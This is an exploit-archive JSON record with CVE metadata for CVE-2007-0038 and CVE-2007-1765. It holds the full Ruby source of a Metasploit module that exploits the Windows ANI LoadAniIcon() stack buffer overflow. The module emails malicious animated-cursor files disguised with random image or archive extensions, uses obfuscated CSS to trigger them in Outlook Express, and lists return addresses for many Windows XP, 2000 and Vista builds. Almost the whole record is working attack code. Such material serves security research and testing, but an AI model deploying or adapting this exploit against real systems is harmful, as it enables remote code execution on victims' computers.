{"exploit":{"id":"EDB-16698","name":"Microsoft Windows - ANI 'LoadAniIcon()' Chunk Size Stack Buffer Overflow (SMTP) (MS07-017) (Metasploit)","description":"Microsoft Windows - ANI 'LoadAniIcon()' Chunk Size Stack Buffer Overflow (SMTP) (MS07-017) (Metasploit)","cves":["CVE-2007-1765","CVE-2007-0038"],"author":"Metasploit","published":"2010-09-20","platform":"windows","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/16698","path":"exploits/windows/remote/16698.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-16698.rb","vulnerabilities":[{"id":"CVE-2007-1765","state":"PUBLISHED","title":null,"titleSource":null,"description":"Unspecified vulnerability in Microsoft Windows 2000 SP4 through Vista allows remote attackers to execute arbitrary code or cause a denial of service (persistent reboot) via a malformed ANI file, which results in memory corruption when processing cursors, animated cursors, and icons, a similar issue to CVE-2005-0416, as originally demonstrated using Internet Explorer 6 and 7. NOTE: this issue might be a duplicate of CVE-2007-0038; if so, then use CVE-2007-0038 instead of this identifier.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-1765","cvss":{"version":"2.0","baseScore":9.3,"severity":"high","vectorString":"AV:N/AC:M/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-1765"},"updatedAt":"2024-08-07T13:06:26.389Z","retrievedAt":"2026-11-26T19:12:38.717Z","stale":false,"error":null},{"id":"CVE-2007-0038","state":"PUBLISHED","title":null,"titleSource":null,"description":"Stack-based buffer overflow in the animated cursor code in Microsoft Windows 2000 SP4 through Vista allows remote attackers to execute arbitrary code or cause a denial of service (persistent reboot) via a large length value in the second (or later) anih block of a RIFF .ANI, cur, or .ico file, which results in memory corruption when processing cursors, animated cursors, and icons, a variant of CVE-2005-0416, as originally demonstrated using Internet Explorer 6 and 7. NOTE: this might be a duplicate of CVE-2007-1765; if so, then CVE-2007-0038 should be preferred.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-0038","cvss":{"version":"2.0","baseScore":9.3,"severity":"high","vectorString":"AV:N/AC:M/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-0038"},"updatedAt":"2024-08-07T12:03:36.879Z","retrievedAt":"2026-11-26T15:05:27.112Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-16698.png?v=2","url":"https://exploitbin.com/exploits/EDB-16698","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-16698/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-16698/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# $Id: ms07_017_ani_loadimage_chunksize.rb 10394 2010-09-20 08:06:27Z jduck $\n##\n\n##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n# http://metasploit.com/framework/\n##\n\n\nrequire 'msf/core'\n\n\nclass Metasploit3 < Msf::Exploit::Remote\n\tRank = GreatRanking\n\n\t#\n\t# This module sends email messages via smtp\n\t#\n\tinclude Msf::Exploit::Remote::SMTPDeliver\n\n\tdef initialize(info = {})\n\t\tsuper(update_info(info,\n\t\t\t'Name'           => 'Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (SMTP)',\n\t\t\t'Description'    => %q{\n\t\t\t\tThis module exploits a buffer overflow vulnerability in the\n\t\t\t\tLoadAniIcon() function of USER32.dll. The flaw is triggered\n\t\t\t\tthrough Outlook Express by using the CURSOR style sheet\n\t\t\t\tdirective to load a malicious .ANI file.\n\n\t\t\t\tThis vulnerability was discovered by Alexander Sotirov of Determina\n\t\t\t\tand was rediscovered, in the wild, by McAfee.\n\t\t\t},\n\t\t\t'License'        => MSF_LICENSE,\n\t\t\t'Author'         =>\n\t\t\t\t[\n\t\t\t\t\t'hdm',   # First version\n\t\t\t\t\t'skape', # Vista support\n\t\t\t\t],\n\t\t\t'Version'        => '$Revision: 10394 $',\n\t\t\t'References'     =>\n\t\t\t\t[\n\t\t\t\t\t['MSB', 'MS07-017'],\n\t\t\t\t\t['CVE', '2007-0038'],\n\t\t\t\t\t['CVE', '2007-1765'],\n\t\t\t\t\t['OSVDB', '33629'],\n\t\t\t\t\t['BID', '23194'],\n\t\t\t\t\t['URL', 'http://www.microsoft.com/technet/security/advisory/935423.mspx'],\n\t\t\t\t\t['URL', 'http://www.determina.com/security_center/security_advisories/securityadvisory_0day_032907.asp'],\n\t\t\t\t\t['URL', 'http://www.determina.com/security.research/vulnerabilities/ani-header.html'],\n\t\t\t\t],\n\t\t\t'Stance'         => Msf::Exploit::Stance::Passive,\n\t\t\t'DefaultOptions' =>\n\t\t\t\t{\n\t\t\t\t\t# Cause internet explorer to exit after the code hits\n\t\t\t\t\t'EXITFUNC' => 'process',\n\t\t\t\t},\n\t\t\t'Payload'        =>\n\t\t\t\t{\n\t\t\t\t\t'Space'       => 1024 + (rand(1000)),\n\t\t\t\t\t'MinNops'     => 32,\n\t\t\t\t\t'Compat'      =>\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t'ConnectionType' => '-bind -find',\n\t\t\t\t\t\t},\n\n\t\t\t\t\t'StackAdjustment' => -3500,\n\t\t\t\t},\n\t\t\t'Platform'       => 'win',\n\t\t\t'Targets'        =>\n\t\t\t\t[\n\n\t\t\t\t\t#\n\t\t\t\t\t# Use multiple cursor URLs to try all targets. This can result in\n\t\t\t\t\t# multiple, sequential sessions\n\t\t\t\t\t#\n\n\t\t\t\t\t[ 'Automatic', {} ],\n\n\t\t\t\t\t#\n\t\t\t\t\t# The following targets use call [ebx+4], just like the original exploit\n\t\t\t\t\t#\n\n\t\t\t\t\t# Partial overwrite doesn't work for Outlook Express\n\t\t\t\t\t[ 'Windows XP SP2 user32.dll 5.1.2600.2622', { 'Ret' => 0x25ba, 'Len' => 2 }],\n\n\t\t\t\t\t# Should work for all English XP SP2\n\t\t\t\t\t[ 'Windows XP SP2 userenv.dll English', { 'Ret' => 0x769fc81a }],\n\n\t\t\t\t\t# Supplied by Fabrice MOURRON <fab[at]revhosts.net>\n\t\t\t\t\t[ 'Windows XP SP2 userenv.dll French', { 'Ret' => 0x7699c81a }],\n\n\t\t\t\t\t# Should work for English XP SP0/SP1\n\t\t\t\t\t[ 'Windows XP SP0/SP1 netui2.dll English', { 'Ret' => 0x71bd0205 }],\n\n\t\t\t\t\t# Should work for English 2000 SP0-SP4+\n\t\t\t\t\t[ 'Windows 2000 SP0-SP4 netui2.dll English', { 'Ret' => 0x75116d88 }],\n\n\t\t\t\t\t#\n\t\t\t\t\t# Partial overwrite where 700b is a jmp dword [ebx] ebx points to the start\n\t\t\t\t\t# of the RIFF chunk itself.  The length field of the RIFF chunk\n\t\t\t\t\t# tag contains a short jump into an embedded riff chunk that\n\t\t\t\t\t# makes a long relative jump into the actual payload.\n\t\t\t\t\t#\n\t\t\t\t\t[ 'Windows Vista user32.dll 6.0.6000.16386',\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t'Ret'         => 0x700b,\n\t\t\t\t\t\t\t'Len'         => 2,\n\n\t\t\t\t\t\t\t# On Vista, the pages that contain the RIFF are read-only.\n\t\t\t\t\t\t\t# In-place decoders cannot be used.\n\t\t\t\t\t\t\t'Payload'     => { 'EncoderType' => Msf::Encoder::Type::Raw }\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\n\t\t\t\t\t#\n\t\t\t\t\t# Supplied by ramon[at]risesecurity.org\n\t\t\t\t\t#\n\n\t\t\t\t\t# call [ebx+4]\n\t\t\t\t\t[ 'Windows XP SP2 user32.dll (5.1.2600.2180) Multi Language', { 'Ret' => 0x25d0, 'Len' => 2 }],\n\t\t\t\t\t[ 'Windows XP SP2 user32.dll (5.1.2600.2180) English', { 'Ret' => 0x77d825d0 }],\n\t\t\t\t\t[ 'Windows XP SP2 userenv.dll Portuguese (Brazil)', { 'Ret' => 0x769dc81a }],\n\n\t\t\t\t\t# call [esi+4]\n\t\t\t\t\t[ 'Windows XP SP1a userenv.dll English', { 'Ret' => 0x75a758b1 }],\n\t\t\t\t\t[ 'Windows XP SP1a shell32.dll English', { 'Ret' => 0x77441a66 }]\n\t\t\t\t],\n\t\t\t'DisclosureDate' => 'Mar 28 2007',\n\t\t\t'DefaultTarget' => 0))\n\n\tend\n\n\tdef autofilter\n\t\tfalse\n\tend\n\n\tdef exploit\n\n\t\texts = ['bmp', 'wav', 'png', 'zip', 'tar']\n\n\t\tgext =  exts[rand(exts.length)]\n\t\tname = rand_text_alpha(rand(10)+1) + \".#{gext}\"\n\n\t\tanis = {}\n\n\t\thtml =\n\t\t\t\"<html><head><title>\" +\n\t\t\t\trand_text_alphanumeric(rand(128)+4) +\n\t\t\t\"</title>\" +\n\t\t\t\"</head><body>\" + rand_text_alphanumeric(rand(128)+1)\n\n\n\t\tmytargs = (target.name =~ /Automatic/) ? targets : [target]\n\n\t\tif target.name =~ /Automatic/\n\t\t\ttargets.each_index { |i|\n\t\t\t\tnext if not targets[i].ret\n\t\t\t\tacid = generate_cid\n\t\t\t\thtml << generate_div(\"cid:#{acid}\")\n\n\t\t\t\t# Re-generate the payload, using the explicit target\n\t\t\t\treturn if ((p = regenerate_payload(nil, nil, targets[i])) == nil)\n\n\t\t\t\t# Generate an ANI file for this target\n\t\t\t\tanis[acid] = generate_ani(p, targets[i])\n\t\t\t}\n\t\telse\n\t\t\tacid = generate_cid\n\t\t\thtml << generate_div(\"cid:#{acid}\")\n\n\t\t\t# Re-generate the payload, using the explicit target\n\t\t\treturn if ((p = regenerate_payload(nil, nil, target)) == nil)\n\n\t\t\t# Generate an ANI file for this target\n\t\t\tanis[acid] = generate_ani(p, target)\n\t\tend\n\n\t\thtml << \"</body></html>\"\n\n\n\t\tmsg = Rex::MIME::Message.new\n\t\tmsg.mime_defaults\n\t\tmsg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1)\n\t\tmsg.to = datastore['MAILTO']\n\t\tmsg.from = datastore['MAILFROM']\n\n\t\tmsg.add_part(Rex::Text.encode_base64(html, \"\\r\\n\"), \"text/html\", \"base64\", \"inline\")\n\t\tanis.each_pair do |cid,ani|\n\t\t\tpart = msg.add_part_attachment(ani, cid + \".\" + gext)\n\t\t\tpart.header.set(\"Content-ID\", \"<\"+cid+\">\")\n\t\tend\n\n\t\tsend_message(msg.to_s)\n\n\t\tprint_status(\"Waiting for a payload session (backgrounding)...\")\n\tend\n\n\tdef generate_cid\n\t\trand_text_alphanumeric(32)+'@'+rand_text_alphanumeric(8)\n\tend\n\n\tdef generate_div(url)\n\t\t\"<div style='\" +\n\t\t\tgenerate_css_padding() +\n\t\t\tRex::Text.to_rand_case(\"cursor\") +\n\t\t\tgenerate_css_padding() +\n\t\t\t\":\" +\n\t\t\tgenerate_css_padding() +\n\t\t\tRex::Text.to_rand_case(\"url(\") +\n\t\t\tgenerate_css_padding() +\n\t\t\t\"\\\"#{url}\\\"\" +\n\t\t\tgenerate_css_padding() +\n\t\t\t\");\" +\n\t\t\tgenerate_css_padding() +\n\t\t\t\"'>\" +\n\t\t\tgenerate_padding() +\n\t\t\"</div>\"\n\tend\n\n\tdef generate_ani(payload, target)\n\n\t\t# Build the first ANI header\n\t\tanih_a = [\n\t\t\t36,            # DWORD cbSizeof\n\t\t\trand(128)+16,  # DWORD cFrames\n\t\t\trand(1024)+1,  # DWORD cSteps\n\t\t\t0,             # DWORD cx,cy  (reserved - 0)\n\t\t\t0,             # DWORD cBitCount, cPlanes (reserved - 0)\n\t\t\t0, 0, 0,       # JIF jifRate\n\t\t\t1              # DWORD flags\n\t\t].pack('V9')\n\n\t\tanih_b = nil\n\n\t\tif (target.name =~ /Vista/)\n\t\t\t# Vista has ebp=80, eip=84\n\t\t\tanih_b = rand_text(84)\n\n\t\t\t# Patch local variables and loop counters\n\t\t\tanih_b[68, 12] = [0].pack(\"V\") * 3\n\t\telse\n\t\t\t# XP/2K has ebp=76 and eip=80\n\t\t\tanih_b = rand_text(80)\n\n\t\t\t# Patch local variables and loop counters\n\t\t\tanih_b[64, 12] = [0].pack(\"V\") * 3\n\t\tend\n\n\t\t# Overwrite the return with address of a \"call ptr [ebx+4]\"\n\t\tanih_b << [target.ret].pack('V')[0, target['Len'] ? target['Len'] : 4]\n\n\t\t# Begin the ANI chunk\n\t\triff = \"ACON\"\n\n\t\t# Calculate the data offset for the trampoline chunk and add\n\t\t# the trampoline chunk if we're attacking Vista\n\t\tif target.name =~ /Vista/\n\t\t\ttrampoline_doffset = riff.length + 8\n\n\t\t\triff << generate_trampoline_riff_chunk\n\t\tend\n\n\t\t# Insert random RIFF chunks\n\t\t0.upto(rand(128)+16) do |i|\n\t\t\triff << generate_riff_chunk()\n\t\tend\n\n\t\t# Embed the first ANI header\n\t\triff << \"anih\" + [anih_a.length].pack('V') + anih_a\n\n\t\t# Insert random RIFF chunks\n\t\t0.upto(rand(128)+16) do |i|\n\t\t\triff << generate_riff_chunk()\n\t\tend\n\n\t\t# Trigger the return address overwrite\n\t\triff << \"anih\" + [anih_b.length].pack('V') + anih_b\n\n\t\t# If this is a Vista target, then we need to align the length of the\n\t\t# RIFF chunk so that the low order two bytes are equal to a jmp $+0x16\n\t\tif target.name =~ /Vista/\n\t\t\tplen  = (riff.length & 0xffff0000) | 0x0eeb\n\t\t\tplen += 0x10000 if (plen - 8) < riff.length\n\n\t\t\triff << generate_riff_chunk((plen - 8) - riff.length)\n\n\t\t\t# Replace the operand to the relative jump to point into the actual\n\t\t\t# payload itself which comes after the riff chunk\n\t\t\triff[trampoline_doffset + 1, 4] = [riff.length - trampoline_doffset - 5].pack('V')\n\t\tend\n\n\t\t# Place the RIFF chunk in front and off we go\n\t\tret = \"RIFF\" + [riff.length].pack('V') + riff\n\n\t\t# We copy the encoded payload to the stack because sometimes the RIFF\n\t\t# image is mapped in read-only pages.  This would prevent in-place\n\t\t# decoders from working, and we can't have that.\n\t\tret << Rex::Arch::X86.copy_to_stack(payload.encoded.length)\n\n\t\t# Place the real payload right after it.\n\t\tret << payload.encoded\n\n\t\tret\n\n\tend\n\n\t# Generates a riff chunk with the first bytes of the data being a relative\n\t# jump.  This is used to bounce to the actual payload\n\tdef generate_trampoline_riff_chunk\n\t\ttag = Rex::Text.to_rand_case(rand_text_alpha(4))\n\t\tdat = \"\\xe9\\xff\\xff\\xff\\xff\" + rand_text(1) + (rand_text(rand(256)+1) * 2)\n\t\ttag +\t[dat.length].pack('V') + dat\n\tend\n\n\tdef generate_riff_chunk(len = (rand(256)+1) * 2)\n\t\ttag = Rex::Text.to_rand_case(rand_text_alpha(4))\n\t\tdat = rand_text(len)\n\t\ttag + [dat.length].pack('V') + dat\n\tend\n\n\tdef generate_css_padding\n\t\tbuf =\n\t\t\tgenerate_whitespace() +\n\t\t\t\"/*\" +\n\t\t\tgenerate_whitespace() +\n\t\t\tgenerate_padding() +\n\t\t\tgenerate_whitespace() +\n\t\t\t\"*/\" +\n\t\t\tgenerate_whitespace()\n\tend\n\n\tdef generate_whitespace\n\t\tlen = rand(100)+2\n\t\tset = \"\\x09\\x20\\x0d\\x0a\"\n\t\tbuf = ''\n\n\t\twhile (buf.length < len)\n\t\t\tbuf << set[rand(set.length)].chr\n\t\tend\n\t\tbuf\n\tend\n\n\tdef generate_padding\n\t\trand_text_alphanumeric(rand(128)+4)\n\tend\n\nend","sha256":"76b46647c58fffb3cd40ae6293b532d02f6153f7ed245b49a68dfe4df3b556a0","bytes":9676,"fetchedAt":"2026-11-27T01:07:16.781Z","encoding":"utf-8 (display only; download retains original bytes)"}